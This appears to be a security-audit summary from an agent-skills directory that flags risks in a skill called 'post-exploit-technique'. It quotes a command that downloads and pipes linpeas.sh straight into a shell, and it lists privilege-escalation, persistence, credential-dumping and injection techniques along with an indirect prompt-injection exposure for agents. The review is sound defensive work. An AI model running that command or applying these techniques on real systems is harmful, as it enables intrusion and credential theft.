The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and immediately execute a script from an external repository using a shell pipe: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh. The source is a third-party repository not included in the trusted vendor list.
[PRIVILEGE_ESCALATION]: The instructions detail numerous methods for gaining root or SYSTEM access, such as abusing sudo configurations, exploiting SUID/SGID binaries, and utilizing Windows token impersonation tools like GodPotato. It specifically guides the modification of core identity files like /etc/passwd and /etc/sudoers.
[PERSISTENCE]: The skill outlines various mechanisms for establishing long-term access, including the creation of cron jobs, systemd services, Windows registry run keys, and WMI event subscriptions.
[DATA_EXFILTRATION]: Methods for extracting sensitive credentials are provided, including dumping the Linux shadow file, SSH private keys, and Windows LSASS memory dumps. It also recommends using pivoting tools like Chisel to move data across network segments.
[DYNAMIC_EXECUTION]: The skill describes advanced execution techniques such as LD_PRELOAD library injection on Linux and .NET AppDomainManager injection on Windows to achieve privileged code execution.
[INDIRECT_PROMPT_INJECTION]: The skill exposes the agent to indirect injection by instructing it to ingest untrusted data from compromised hosts (e.g., process listings, file contents in SKILL.md and references/linux-privesc.md) while maintaining high-privilege capabilities (file writing, command execution in references/persistence.md) without boundary markers or sanitization steps.

post-exploit-technique